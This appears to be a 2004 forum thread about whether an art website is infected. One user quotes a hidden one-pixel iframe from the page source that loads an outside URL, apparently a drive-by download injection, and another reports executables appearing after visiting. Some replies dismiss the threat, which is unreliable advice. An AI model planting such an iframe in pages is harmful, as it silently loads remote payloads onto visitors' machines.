View previous topic :: View next topic |
Author |
Topic : "oi, is Dhabih's site infected with a virus?" |
Wiked Ewok member
Member # Joined: 19 Aug 2000 Posts: 215 Location: San Francisco, CA USA
|
Posted: Thu Apr 08, 2004 9:37 pm |
|
 |
McAfee keeps saying trojans are running when I go to www.sijun.com, and it cleans it but it starts happening again whenever I go back. Anyone getting similar experiences? _________________ -------Wicked------- |
|
Back to top |
|
DJorgensen member
Member # Joined: 26 Jun 2003 Posts: 147 Location: Edmonton, Canada
|
Posted: Thu Apr 08, 2004 11:20 pm |
|
 |
No
But then again, I don't use any anti-virus / firewall on the computer that I'm on right now. I try to keep an eye on it myself.
But looking at the site, I do get
Code: |
<b>Warning</b>: open_basedir restriction in effect. File is in wrong directory in <b>Unknown</b> on line <b>0</b><br>
<br>
<b>Warning</b>: Failed opening '/etc/.app' for inclusion (include_path='.:/php/includes:/usr/share/php') in <b>Unknown</b> on line <b>0</b><br> |
and it tells me the browser tries to connect to http://www. forced-action.com/?d=get
(minus the space of course)
But as well, it times out when trying to connect, so I do not beleive that this url actually exists.
Looking at the source of the page I pulled this out:
Code: |
<IFRAME SRC="http://www.forced-action.com/?d=get" WIDTH="1" HEIGHT="1"></IFRAME> |
I must agree that it is rather strange scripting, but nowhere can I see a Trojan or anything else worth worrying about. _________________
|
|
Back to top |
|
Wiked Ewok member
Member # Joined: 19 Aug 2000 Posts: 215 Location: San Francisco, CA USA
|
Posted: Thu Apr 08, 2004 11:26 pm |
|
 |
odd..I get dl.exe and dll.exe and dll.html put on my comp when I went there..I just cleaned it up and I'm afraid to go back..cuz there's a few places I got infected.
Not sure if it was his site that's infected..maybe some scripting thing in his site provoked the virus to wierd actions. But I started getting errors soon after. _________________ -------Wicked------- |
|
Back to top |
|
ValarianROOT member
Member # Joined: 19 Oct 2001 Posts: 271 Location: Portland, OR
|
Posted: Sun Apr 11, 2004 6:57 pm |
|
 |
Yeah, Wicked. That sounds like a reasonable answer. Some scripting will cause Mcaffee to go off. Mcaffee's weird sometimes it's too paranoid and other times not paranoid enough. Don't have any problems with it and Norton though.
JMN _________________ Sleep is for the weak!!! |
|
Back to top |
|
|